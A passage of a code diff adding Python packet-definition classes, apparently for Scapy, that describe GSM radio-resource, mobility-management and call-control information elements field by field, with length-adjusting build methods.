+             BitField("t1", 0x0, 5),
+             BitField("t3Hi", 0x0, 3),
+             BitField("t3Lo", 0x0, 3),
+             BitField("t2", 0x0, 5)
+             ]
+
+
+class RrCause(Packet):
+    """RR Cause  Section 10.5.2.31"""
+    name = "RR Cause"
+    fields_desc = [
+             ByteField("rrCause", 0x0)
+             ]
+
+
+class StartingTime(Packet):
+    """Starting Time Section 10.5.2.38"""
+    name = "Starting Time"
+    fields_desc = [
+             ByteField("ra", 0x0),
+             BitField("t1", 0x0, 5),
+             BitField("t3Hi", 0x0, 3),
+             BitField("t3Lo", 0x0, 3),
+             BitField("t2", 0x0, 5)
+             ]
+
+
+class SynchronizationIndication(Packet):
+    """Synchronization Indication Section 10.5.2.39"""
+    name = "Synchronization Indication"
+    fields_desc = [
+             BitField("nci", 0x0, 1),
+             BitField("rot", 0x0, 1),
+             BitField("si", 0x0, 2)
+             ]
+
+
+class TimingAdvance(Packet):
+    """Timing Advance Section 10.5.2.40"""
+    name = "Timing Advance"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1),
+             BitField("timingVal", 0x0, 6)
+             ]
+
+
+class TimeDifference(Packet):
+    """ Time Difference Section 10.5.2.41"""
+    name = "Time Difference"
+    fields_desc = [
+             XByteField("lengthTD", 0x3),
+             ByteField("timeValue", 0x0)
+             ]
+
+
+class Tlli(Packet):
+    """ TLLI Section Section 10.5.2.41a"""
+    name = "TLLI"
+    fields_desc = [
+             ByteField("value", 0x0),
+             ByteField("value1", 0x0),
+             ByteField("value2", 0x0),
+             ByteField("value3", 0x0)
+             ]
+
+
+class TmsiPTmsi(Packet):
+    """ TMSI/P-TMSI Section 10.5.2.42"""
+    name = "TMSI/P-TMSI"
+    fields_desc = [
+             ByteField("value", 0x0),
+             ByteField("value1", 0x0),
+             ByteField("value2", 0x0),
+             ByteField("value3", 0x0)
+             ]
+
+
+class VgcsTargetModeIdentication(Packet):
+    """ VGCS target Mode Indication 10.5.2.42a"""
+    name = "VGCS Target Mode Indication"
+    fields_desc = [
+             XByteField("lengthVTMI", 0x2),
+             BitField("targerMode", 0x0, 2),
+             BitField("cipherKeyNb", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("spare1", 0x0, 1)
+             ]
+
+
+class WaitIndication(Packet):
+    """ Wait Indication Section 10.5.2.43"""
+    name = "Wait Indication"
+    fields_desc = [  # asciiart of specs strange
+             ByteField("timeoutVal", 0x0)
+             ]
+
+
+#class Si10RestOctets(Packet):
+#     """SI10 rest octets 10.5.2.44"""
+#     name = "SI10 rest octets"
+#     fields_desc = [
+
+
+# len 17
+class ExtendedMeasurementResults(Packet):
+    """EXTENDED MEASUREMENT RESULTS Section 10.5.2.45"""
+    name = "Extended Measurement Results"
+    fields_desc = [
+
+             BitField("scUsed", None, 1),
+             BitField("dtxUsed", None, 1),
+             BitField("rxLevC0", None, 6),
+
+             BitField("rxLevC1", None, 6),
+             BitField("rxLevC2Hi", None, 2),
+
+             BitField("rxLevC2Lo", None, 4),
+             BitField("rxLevC3Hi", None, 4),
+
+             BitField("rxLevC3Lo", None, 3),
+             BitField("rxLevC4", None, 5),
+
+             BitField("rxLevC5", None, 6),
+             BitField("rxLevC6Hi", None, 2),
+
+             BitField("rxLevC6Lo", None, 4),
+             BitField("rxLevC7Hi", None, 4),
+
+             BitField("rxLevC7Lo", None, 2),
+             BitField("rxLevC8", None, 6),
+
+             BitField("rxLevC9", None, 6),
+             BitField("rxLevC10Hi", None, 2),
+
+             BitField("rxLevC10Lo", None, 4),
+             BitField("rxLevC11Hi", None, 4),
+
+             BitField("rxLevC13Lo", None, 2),
+             BitField("rxLevC12", None, 6),
+
+             BitField("rxLevC13", None, 6),
+             BitField("rxLevC14Hi", None, 2),
+
+             BitField("rxLevC14Lo", None, 4),
+             BitField("rxLevC15Hi", None, 4),
+
+             BitField("rxLevC15Lo", None, 2),
+             BitField("rxLevC16", None, 6),
+
+
+             BitField("rxLevC17", None, 6),
+             BitField("rxLevC18Hi", None, 2),
+
+             BitField("rxLevC18Lo", None, 4),
+             BitField("rxLevC19Hi", None, 4),
+
+             BitField("rxLevC19Lo", None, 2),
+             BitField("rxLevC20", None, 6)
+             ]
+
+
+# len 17
+class ExtendedMeasurementFrequencyList(Packet):
+    """Extended Measurement Frequency List Section 10.5.2.46"""
+    name = "Extended Measurement Frequency List"
+    fields_desc = [
+
+             BitField("bit128", 0x0, 1),
+             BitField("bit127", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("seqCode", 0x0, 1),
+             BitField("bit124", 0x0, 1),
+             BitField("bit123", 0x0, 1),
+             BitField("bit122", 0x0, 1),
+             BitField("bit121", 0x0, 1),
+
+             BitField("bitsRest", 0x0, 128)
+             ]
+
+
+class SuspensionCause(Packet):
+    """Suspension Cause Section 10.5.2.47"""
+    name = "Suspension Cause"
+    fields_desc = [
+             ByteField("suspVal", 0x0)
+             ]
+
+
+class ApduID(Packet):
+    """APDU Flags Section 10.5.2.48"""
+    name = "Apdu Id"
+    fields_desc = [
+             BitField("id", None, 4)
+             ]
+
+
+class ApduFlags(Packet):
+    """APDU Flags Section 10.5.2.49"""
+    name = "Apdu Flags"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("cr", 0x0, 1),
+             BitField("firstSeg", 0x0, 1),
+             BitField("lastSeg", 0x0, 1)
+             ]
+
+
+# len 1 to max L3 (251) (done)
+class ApduData(Packet):
+    """APDU Data Section 10.5.2.50"""
+    name = "Apdu Data"
+    fields_desc = [
+             XByteField("lengthAD", None),
+             #optional
+             ByteField("apuInfo1", None),
+             ByteField("apuInfo2", None),
+             ByteField("apuInfo3", None),
+             ByteField("apuInfo4", None),
+             ByteField("apuInfo5", None),
+             ByteField("apuInfo6", None),
+             ByteField("apuInfo7", None),
+             ByteField("apuInfo8", None),
+             ByteField("apuInfo9", None),
+             ByteField("apuInfo10", None),
+             ByteField("apuInfo11", None),
+             ByteField("apuInfo12", None),
+             ByteField("apuInfo13", None),
+             ByteField("apuInfo14", None),
+             ByteField("apuInfo15", None),
+             ByteField("apuInfo16", None),
+             ByteField("apuInfo17", None),
+             ByteField("apuInfo18", None),
+             ByteField("apuInfo19", None),
+             ByteField("apuInfo20", None),
+             ByteField("apuInfo21", None),
+             ByteField("apuInfo22", None),
+             ByteField("apuInfo23", None),
+             ByteField("apuInfo24", None),
+             ByteField("apuInfo25", None),
+             ByteField("apuInfo26", None),
+             ByteField("apuInfo27", None),
+             ByteField("apuInfo28", None),
+             ByteField("apuInfo29", None),
+             ByteField("apuInfo30", None),
+             ByteField("apuInfo31", None),
+             ByteField("apuInfo32", None),
+             ByteField("apuInfo33", None),
+             ByteField("apuInfo34", None),
+             ByteField("apuInfo35", None),
+             ByteField("apuInfo36", None),
+             ByteField("apuInfo37", None),
+             ByteField("apuInfo38", None),
+             ByteField("apuInfo39", None),
+             ByteField("apuInfo40", None),
+             ByteField("apuInfo41", None),
+             ByteField("apuInfo42", None),
+             ByteField("apuInfo43", None),
+             ByteField("apuInfo44", None),
+             ByteField("apuInfo45", None),
+             ByteField("apuInfo46", None),
+             ByteField("apuInfo47", None),
+             ByteField("apuInfo48", None),
+             ByteField("apuInfo49", None),
+             ByteField("apuInfo50", None),
+             ByteField("apuInfo51", None),
+             ByteField("apuInfo52", None),
+             ByteField("apuInfo53", None),
+             ByteField("apuInfo54", None),
+             ByteField("apuInfo55", None),
+             ByteField("apuInfo56", None),
+             ByteField("apuInfo57", None),
+             ByteField("apuInfo58", None),
+             ByteField("apuInfo59", None),
+             ByteField("apuInfo60", None),
+             ByteField("apuInfo61", None),
+             ByteField("apuInfo62", None),
+             ByteField("apuInfo63", None),
+             ByteField("apuInfo64", None),
+             ByteField("apuInfo65", None),
+             ByteField("apuInfo66", None),
+             ByteField("apuInfo67", None),
+             ByteField("apuInfo68", None),
+             ByteField("apuInfo69", None),
+             ByteField("apuInfo70", None),
+             ByteField("apuInfo71", None),
+             ByteField("apuInfo72", None),
+             ByteField("apuInfo73", None),
+             ByteField("apuInfo74", None),
+             ByteField("apuInfo75", None),
+             ByteField("apuInfo76", None),
+             ByteField("apuInfo77", None),
+             ByteField("apuInfo78", None),
+             ByteField("apuInfo79", None),
+             ByteField("apuInfo80", None),
+             ByteField("apuInfo81", None),
+             ByteField("apuInfo82", None),
+             ByteField("apuInfo83", None),
+             ByteField("apuInfo84", None),
+             ByteField("apuInfo85", None),
+             ByteField("apuInfo86", None),
+             ByteField("apuInfo87", None),
+             ByteField("apuInfo88", None),
+             ByteField("apuInfo89", None),
+             ByteField("apuInfo90", None),
+             ByteField("apuInfo91", None),
+             ByteField("apuInfo92", None),
+             ByteField("apuInfo93", None),
+             ByteField("apuInfo94", None),
+             ByteField("apuInfo95", None),
+             ByteField("apuInfo96", None),
+             ByteField("apuInfo97", None),
+             ByteField("apuInfo98", None),
+             ByteField("apuInfo99", None),
+             ByteField("apuInfo100", None),
+             ByteField("apuInfo101", None),
+             ByteField("apuInfo102", None),
+             ByteField("apuInfo103", None),
+             ByteField("apuInfo104", None),
+             ByteField("apuInfo105", None),
+             ByteField("apuInfo106", None),
+             ByteField("apuInfo107", None),
+             ByteField("apuInfo108", None),
+             ByteField("apuInfo109", None),
+             ByteField("apuInfo110", None),
+             ByteField("apuInfo111", None),
+             ByteField("apuInfo112", None),
+             ByteField("apuInfo113", None),
+             ByteField("apuInfo114", None),
+             ByteField("apuInfo115", None),
+             ByteField("apuInfo116", None),
+             ByteField("apuInfo117", None),
+             ByteField("apuInfo118", None),
+             ByteField("apuInfo119", None),
+             ByteField("apuInfo120", None),
+             ByteField("apuInfo121", None),
+             ByteField("apuInfo122", None),
+             ByteField("apuInfo123", None),
+             ByteField("apuInfo124", None),
+             ByteField("apuInfo125", None),
+             ByteField("apuInfo126", None),
+             ByteField("apuInfo127", None),
+             ByteField("apuInfo128", None),
+             ByteField("apuInfo129", None),
+             ByteField("apuInfo130", None),
+             ByteField("apuInfo131", None),
+             ByteField("apuInfo132", None),
+             ByteField("apuInfo133", None),
+             ByteField("apuInfo134", None),
+             ByteField("apuInfo135", None),
+             ByteField("apuInfo136", None),
+             ByteField("apuInfo137", None),
+             ByteField("apuInfo138", None),
+             ByteField("apuInfo139", None),
+             ByteField("apuInfo140", None),
+             ByteField("apuInfo141", None),
+             ByteField("apuInfo142", None),
+             ByteField("apuInfo143", None),
+             ByteField("apuInfo144", None),
+             ByteField("apuInfo145", None),
+             ByteField("apuInfo146", None),
+             ByteField("apuInfo147", None),
+             ByteField("apuInfo148", None),
+             ByteField("apuInfo149", None),
+             ByteField("apuInfo150", None),
+             ByteField("apuInfo151", None),
+             ByteField("apuInfo152", None),
+             ByteField("apuInfo153", None),
+             ByteField("apuInfo154", None),
+             ByteField("apuInfo155", None),
+             ByteField("apuInfo156", None),
+             ByteField("apuInfo157", None),
+             ByteField("apuInfo158", None),
+             ByteField("apuInfo159", None),
+             ByteField("apuInfo160", None),
+             ByteField("apuInfo161", None),
+             ByteField("apuInfo162", None),
+             ByteField("apuInfo163", None),
+             ByteField("apuInfo164", None),
+             ByteField("apuInfo165", None),
+             ByteField("apuInfo166", None),
+             ByteField("apuInfo167", None),
+             ByteField("apuInfo168", None),
+             ByteField("apuInfo169", None),
+             ByteField("apuInfo170", None),
+             ByteField("apuInfo171", None),
+             ByteField("apuInfo172", None),
+             ByteField("apuInfo173", None),
+             ByteField("apuInfo174", None),
+             ByteField("apuInfo175", None),
+             ByteField("apuInfo176", None),
+             ByteField("apuInfo177", None),
+             ByteField("apuInfo178", None),
+             ByteField("apuInfo179", None),
+             ByteField("apuInfo180", None),
+             ByteField("apuInfo181", None),
+             ByteField("apuInfo182", None),
+             ByteField("apuInfo183", None),
+             ByteField("apuInfo184", None),
+             ByteField("apuInfo185", None),
+             ByteField("apuInfo186", None),
+             ByteField("apuInfo187", None),
+             ByteField("apuInfo188", None),
+             ByteField("apuInfo189", None),
+             ByteField("apuInfo190", None),
+             ByteField("apuInfo191", None),
+             ByteField("apuInfo192", None),
+             ByteField("apuInfo193", None),
+             ByteField("apuInfo194", None),
+             ByteField("apuInfo195", None),
+             ByteField("apuInfo196", None),
+             ByteField("apuInfo197", None),
+             ByteField("apuInfo198", None),
+             ByteField("apuInfo199", None),
+             ByteField("apuInfo200", None),
+             ByteField("apuInfo201", None),
+             ByteField("apuInfo202", None),
+             ByteField("apuInfo203", None),
+             ByteField("apuInfo204", None),
+             ByteField("apuInfo205", None),
+             ByteField("apuInfo206", None),
+             ByteField("apuInfo207", None),
+             ByteField("apuInfo208", None),
+             ByteField("apuInfo209", None),
+             ByteField("apuInfo210", None),
+             ByteField("apuInfo211", None),
+             ByteField("apuInfo212", None),
+             ByteField("apuInfo213", None),
+             ByteField("apuInfo214", None),
+             ByteField("apuInfo215", None),
+             ByteField("apuInfo216", None),
+             ByteField("apuInfo217", None),
+             ByteField("apuInfo218", None),
+             ByteField("apuInfo219", None),
+             ByteField("apuInfo220", None),
+             ByteField("apuInfo221", None),
+             ByteField("apuInfo222", None),
+             ByteField("apuInfo223", None),
+             ByteField("apuInfo224", None),
+             ByteField("apuInfo225", None),
+             ByteField("apuInfo226", None),
+             ByteField("apuInfo227", None),
+             ByteField("apuInfo228", None),
+             ByteField("apuInfo229", None),
+             ByteField("apuInfo230", None),
+             ByteField("apuInfo231", None),
+             ByteField("apuInfo232", None),
+             ByteField("apuInfo233", None),
+             ByteField("apuInfo234", None),
+             ByteField("apuInfo235", None),
+             ByteField("apuInfo236", None),
+             ByteField("apuInfo237", None),
+             ByteField("apuInfo238", None),
+             ByteField("apuInfo239", None),
+             ByteField("apuInfo240", None),
+             ByteField("apuInfo241", None),
+             ByteField("apuInfo242", None),
+             ByteField("apuInfo243", None),
+             ByteField("apuInfo244", None),
+             ByteField("apuInfo245", None),
+             ByteField("apuInfo246", None),
+             ByteField("apuInfo247", None),
+             ByteField("apuInfo248", None),
+             ByteField("apuInfo249", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 250, a, self.fields_desc, 1)
+        if self.lengthAD is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+#
+# 10.5.3 Mobility management information elements
+#
+
+
+# len 3 to L3 max (251) (done)
+class NetworkName(Packet):
+    """Network Name Section 10.5.3.5a"""
+    name = "Network Name"
+    fields_desc = [
+
+             XByteField("lengthNN", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("codingScheme", 0x0, 3),
+             BitField("addCi", 0x0, 1),
+             BitField("nbSpare", 0x0, 3),
+             # optional
+             ByteField("txtString1", None),
+             ByteField("txtString2", None),
+             ByteField("txtString3", None),
+             ByteField("txtString4", None),
+             ByteField("txtString5", None),
+             ByteField("txtString6", None),
+             ByteField("txtString7", None),
+             ByteField("txtString8", None),
+             ByteField("txtString9", None),
+             ByteField("txtString10", None),
+             ByteField("txtString11", None),
+             ByteField("txtString12", None),
+             ByteField("txtString13", None),
+             ByteField("txtString14", None),
+             ByteField("txtString15", None),
+             ByteField("txtString16", None),
+             ByteField("txtString17", None),
+             ByteField("txtString18", None),
+             ByteField("txtString19", None),
+             ByteField("txtString20", None),
+             ByteField("txtString21", None),
+             ByteField("txtString22", None),
+             ByteField("txtString23", None),
+             ByteField("txtString24", None),
+             ByteField("txtString25", None),
+             ByteField("txtString26", None),
+             ByteField("txtString27", None),
+             ByteField("txtString28", None),
+             ByteField("txtString29", None),
+             ByteField("txtString30", None),
+             ByteField("txtString31", None),
+             ByteField("txtString32", None),
+             ByteField("txtString33", None),
+             ByteField("txtString34", None),
+             ByteField("txtString35", None),
+             ByteField("txtString36", None),
+             ByteField("txtString37", None),
+             ByteField("txtString38", None),
+             ByteField("txtString39", None),
+             ByteField("txtString40", None),
+             ByteField("txtString41", None),
+             ByteField("txtString42", None),
+             ByteField("txtString43", None),
+             ByteField("txtString44", None),
+             ByteField("txtString45", None),
+             ByteField("txtString46", None),
+             ByteField("txtString47", None),
+             ByteField("txtString48", None),
+             ByteField("txtString49", None),
+             ByteField("txtString50", None),
+             ByteField("txtString51", None),
+             ByteField("txtString52", None),
+             ByteField("txtString53", None),
+             ByteField("txtString54", None),
+             ByteField("txtString55", None),
+             ByteField("txtString56", None),
+             ByteField("txtString57", None),
+             ByteField("txtString58", None),
+             ByteField("txtString59", None),
+             ByteField("txtString60", None),
+             ByteField("txtString61", None),
+             ByteField("txtString62", None),
+             ByteField("txtString63", None),
+             ByteField("txtString64", None),
+             ByteField("txtString65", None),
+             ByteField("txtString66", None),
+             ByteField("txtString67", None),
+             ByteField("txtString68", None),
+             ByteField("txtString69", None),
+             ByteField("txtString70", None),
+             ByteField("txtString71", None),
+             ByteField("txtString72", None),
+             ByteField("txtString73", None),
+             ByteField("txtString74", None),
+             ByteField("txtString75", None),
+             ByteField("txtString76", None),
+             ByteField("txtString77", None),
+             ByteField("txtString78", None),
+             ByteField("txtString79", None),
+             ByteField("txtString80", None),
+             ByteField("txtString81", None),
+             ByteField("txtString82", None),
+             ByteField("txtString83", None),
+             ByteField("txtString84", None),
+             ByteField("txtString85", None),
+             ByteField("txtString86", None),
+             ByteField("txtString87", None),
+             ByteField("txtString88", None),
+             ByteField("txtString89", None),
+             ByteField("txtString90", None),
+             ByteField("txtString91", None),
+             ByteField("txtString92", None),
+             ByteField("txtString93", None),
+             ByteField("txtString94", None),
+             ByteField("txtString95", None),
+             ByteField("txtString96", None),
+             ByteField("txtString97", None),
+             ByteField("txtString98", None),
+             ByteField("txtString99", None),
+             ByteField("txtString100", None),
+             ByteField("txtString101", None),
+             ByteField("txtString102", None),
+             ByteField("txtString103", None),
+             ByteField("txtString104", None),
+             ByteField("txtString105", None),
+             ByteField("txtString106", None),
+             ByteField("txtString107", None),
+             ByteField("txtString108", None),
+             ByteField("txtString109", None),
+             ByteField("txtString110", None),
+             ByteField("txtString111", None),
+             ByteField("txtString112", None),
+             ByteField("txtString113", None),
+             ByteField("txtString114", None),
+             ByteField("txtString115", None),
+             ByteField("txtString116", None),
+             ByteField("txtString117", None),
+             ByteField("txtString118", None),
+             ByteField("txtString119", None),
+             ByteField("txtString120", None),
+             ByteField("txtString121", None),
+             ByteField("txtString122", None),
+             ByteField("txtString123", None),
+             ByteField("txtString124", None),
+             ByteField("txtString125", None),
+             ByteField("txtString126", None),
+             ByteField("txtString127", None),
+             ByteField("txtString128", None),
+             ByteField("txtString129", None),
+             ByteField("txtString130", None),
+             ByteField("txtString131", None),
+             ByteField("txtString132", None),
+             ByteField("txtString133", None),
+             ByteField("txtString134", None),
+             ByteField("txtString135", None),
+             ByteField("txtString136", None),
+             ByteField("txtString137", None),
+             ByteField("txtString138", None),
+             ByteField("txtString139", None),
+             ByteField("txtString140", None),
+             ByteField("txtString141", None),
+             ByteField("txtString142", None),
+             ByteField("txtString143", None),
+             ByteField("txtString144", None),
+             ByteField("txtString145", None),
+             ByteField("txtString146", None),
+             ByteField("txtString147", None),
+             ByteField("txtString148", None),
+             ByteField("txtString149", None),
+             ByteField("txtString150", None),
+             ByteField("txtString151", None),
+             ByteField("txtString152", None),
+             ByteField("txtString153", None),
+             ByteField("txtString154", None),
+             ByteField("txtString155", None),
+             ByteField("txtString156", None),
+             ByteField("txtString157", None),
+             ByteField("txtString158", None),
+             ByteField("txtString159", None),
+             ByteField("txtString160", None),
+             ByteField("txtString161", None),
+             ByteField("txtString162", None),
+             ByteField("txtString163", None),
+             ByteField("txtString164", None),
+             ByteField("txtString165", None),
+             ByteField("txtString166", None),
+             ByteField("txtString167", None),
+             ByteField("txtString168", None),
+             ByteField("txtString169", None),
+             ByteField("txtString170", None),
+             ByteField("txtString171", None),
+             ByteField("txtString172", None),
+             ByteField("txtString173", None),
+             ByteField("txtString174", None),
+             ByteField("txtString175", None),
+             ByteField("txtString176", None),
+             ByteField("txtString177", None),
+             ByteField("txtString178", None),
+             ByteField("txtString179", None),
+             ByteField("txtString180", None),
+             ByteField("txtString181", None),
+             ByteField("txtString182", None),
+             ByteField("txtString183", None),
+             ByteField("txtString184", None),
+             ByteField("txtString185", None),
+             ByteField("txtString186", None),
+             ByteField("txtString187", None),
+             ByteField("txtString188", None),
+             ByteField("txtString189", None),
+             ByteField("txtString190", None),
+             ByteField("txtString191", None),
+             ByteField("txtString192", None),
+             ByteField("txtString193", None),
+             ByteField("txtString194", None),
+             ByteField("txtString195", None),
+             ByteField("txtString196", None),
+             ByteField("txtString197", None),
+             ByteField("txtString198", None),
+             ByteField("txtString199", None),
+             ByteField("txtString200", None),
+             ByteField("txtString201", None),
+             ByteField("txtString202", None),
+             ByteField("txtString203", None),
+             ByteField("txtString204", None),
+             ByteField("txtString205", None),
+             ByteField("txtString206", None),
+             ByteField("txtString207", None),
+             ByteField("txtString208", None),
+             ByteField("txtString209", None),
+             ByteField("txtString210", None),
+             ByteField("txtString211", None),
+             ByteField("txtString212", None),
+             ByteField("txtString213", None),
+             ByteField("txtString214", None),
+             ByteField("txtString215", None),
+             ByteField("txtString216", None),
+             ByteField("txtString217", None),
+             ByteField("txtString218", None),
+             ByteField("txtString219", None),
+             ByteField("txtString220", None),
+             ByteField("txtString221", None),
+             ByteField("txtString222", None),
+             ByteField("txtString223", None),
+             ByteField("txtString224", None),
+             ByteField("txtString225", None),
+             ByteField("txtString226", None),
+             ByteField("txtString227", None),
+             ByteField("txtString228", None),
+             ByteField("txtString229", None),
+             ByteField("txtString230", None),
+             ByteField("txtString231", None),
+             ByteField("txtString232", None),
+             ByteField("txtString233", None),
+             ByteField("txtString234", None),
+             ByteField("txtString235", None),
+             ByteField("txtString236", None),
+             ByteField("txtString237", None),
+             ByteField("txtString238", None),
+             ByteField("txtString239", None),
+             ByteField("txtString240", None),
+             ByteField("txtString241", None),
+             ByteField("txtString242", None),
+             ByteField("txtString243", None),
+             ByteField("txtString244", None),
+             ByteField("txtString245", None),
+             ByteField("txtString246", None),
+             ByteField("txtString247", None),
+             ByteField("txtString248", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 250, a, self.fields_desc, 1)
+        if self.lengthNN is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class TimeZone(Packet):
+    """Time Zone  Section 10.5.3.8"""
+    name = "Time Zone"
+    fields_desc = [
+             ByteField("timeZone", 0x0),
+             ]
+
+
+class TimeZoneAndTime(Packet):
+    """Time Zone and Time Section 10.5.3.9"""
+    name = "Time Zone and Time"
+    fields_desc = [
+             ByteField("year", 0x0),
+             ByteField("month", 0x0),
+             ByteField("day", 0x0),
+             ByteField("hour", 0x0),
+             ByteField("minute", 0x0),
+             ByteField("second", 0x0),
+             ByteField("timeZone", 0x0)
+             ]
+
+
+class CtsPermission(Packet):
+    """CTS permission Section 10.5.3.10"""
+    name = "Cts Permission"
+    fields_desc = [
+             ]
+
+
+class LsaIdentifier(Packet):
+    """LSA Identifier Section 10.5.3.11"""
+    name = "Lsa Identifier"
+    fields_desc = [
+             ByteField("lsaID", 0x0),
+             ByteField("lsaID1", 0x0),
+             ByteField("lsaID2", 0x0)
+             ]
+
+
+#
+# 10.5.4 Call control information elements
+#
+
+#10.5.4.1 Extensions of codesets
+# This is only text and no  packet
+
+class LockingShiftProcedure(Packet):
+    """Locking shift procedure Section 10.5.4.2"""
+    name = "Locking Shift Procedure"
+    fields_desc = [
+             BitField("lockShift", 0x0, 1),
+             BitField("codesetId", 0x0, 3)
+             ]
+
+
+class NonLockingShiftProcedure(Packet):
+    """Non-locking shift procedure Section 10.5.4.3"""
+    name = "Non-locking Shift Procedure"
+    fields_desc = [
+             BitField("nonLockShift", 0x1, 1),
+             BitField("codesetId", 0x0, 3)
+             ]
+
+
+class AuxiliaryStates(Packet):
+    """Auxiliary states Section 10.5.4.4"""
+    name = "Auxiliary States"
+    fields_desc = [
+             XByteField("lengthAS", 0x3),
+             BitField("ext", 0x1, 1),
+             BitField("spare", 0x0, 3),
+             BitField("holdState", 0x0, 2),
+             BitField("mptyState", 0x0, 2)
+             ]
+
+
+# len 3 to 15
+class BearerCapability(Packet):
+    """Bearer capability Section 10.5.4.5"""
+    name = "Bearer Capability"
+    fields_desc = [
+
+             XByteField("lengthBC", None),
+
+             BitField("ext0", 0x1, 1),
+             BitField("radioChReq", 0x1, 2),
+             BitField("codingStd", 0x0, 1),
+             BitField("transMode", 0x0, 1),
+             BitField("infoTransCa", 0x0, 3),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                                       lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("coding", None, 1),
+                                       lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("spare", None, 2),
+                                       lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("speechVers", 0x0, 4),
+                                       lambda pkt: pkt.ext0 == 0),
+
+             ConditionalField(BitField("ext2", 0x1, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("compress", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("structure", None, 2),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("dupMode", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("config", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("nirr", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("establi", 0x0, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+
+             BitField("ext3", None, 1),
+             BitField("accessId", None, 2),
+             BitField("rateAda", None, 2),
+             BitField("signaling", None, 3),
+
+             ConditionalField(BitField("ext4", None, 1),
+                                       lambda pkt: pkt.ext3 == 0),
+             ConditionalField(BitField("otherITC", None, 2),
+                                       lambda pkt: pkt.ext3 == 0),
+             ConditionalField(BitField("otherRate", None, 2),
+                                       lambda pkt: pkt.ext3 == 0),
+             ConditionalField(BitField("spare1", 0x0, 3),
+                                       lambda pkt: pkt.ext3 == 0),
+
+             ConditionalField(BitField("ext5", 0x1, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("hdr", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("multiFr", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("mode", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("lli", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("assig", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("inbNeg", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("spare2", 0x0, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+
+             BitField("ext6", None, 1),
+             BitField("layer1Id", None, 2),
+             BitField("userInf", None, 4),
+             BitField("sync", None, 1),
+
+             ConditionalField(BitField("ext7", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("stopBit", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("negoc", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("nbDataBit", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("userRate", None, 4),
+                                       lambda pkt: pkt.ext6 == 0),
+
+             ConditionalField(BitField("ext8", None, 1),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("interRate", None, 2),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("nicTX", None, 1),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("nicRX", None, 1),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("parity", None, 3),
+                                       lambda pkt: pkt.ext7 == 0),
+
+             ConditionalField(BitField("ext9", None, 1),
+                                       lambda pkt: pkt.ext8 == 0),
+             ConditionalField(BitField("connEle", None, 2),
+                                       lambda pkt: pkt.ext8 == 0),
+             ConditionalField(BitField("modemType", None, 5),
+                                       lambda pkt: pkt.ext8 == 0),
+
+             ConditionalField(BitField("ext10", None, 1),
+                                       lambda pkt: pkt.ext9 == 0),
+             ConditionalField(BitField("otherModemType", None, 2),
+                                       lambda pkt: pkt.ext9 == 0),
+             ConditionalField(BitField("netUserRate", None, 5),
+                                       lambda pkt: pkt.ext9 == 0),
+
+             ConditionalField(BitField("ext11", None, 1),
+                                       lambda pkt: pkt.ext10 == 0),
+             ConditionalField(BitField("chanCoding", None, 4),
+                                       lambda pkt: pkt.ext10 == 0),
+             ConditionalField(BitField("maxTrafficChan", None, 3),
+                                       lambda pkt: pkt.ext10 == 0),
+
+             ConditionalField(BitField("ext12", None, 1),
+                                       lambda pkt: pkt.ext11 == 0),
+             ConditionalField(BitField("uimi", None, 3),
+                                       lambda pkt: pkt.ext11 == 0),
+             ConditionalField(BitField("airInterfaceUserRate", None, 4),
+                                       lambda pkt: pkt.ext11 == 0),
+
+             ConditionalField(BitField("ext13", 0x1, 1),
+                                       lambda pkt: pkt.ext12 == 0),
+             ConditionalField(BitField("layer2Ch", None, 2),
+                                       lambda pkt: pkt.ext12 == 0),
+             ConditionalField(BitField("userInfoL2", 0x0, 5),
+                                       lambda pkt: pkt.ext12 == 0)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 15, a, self.fields_desc, 1)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthBC is None:
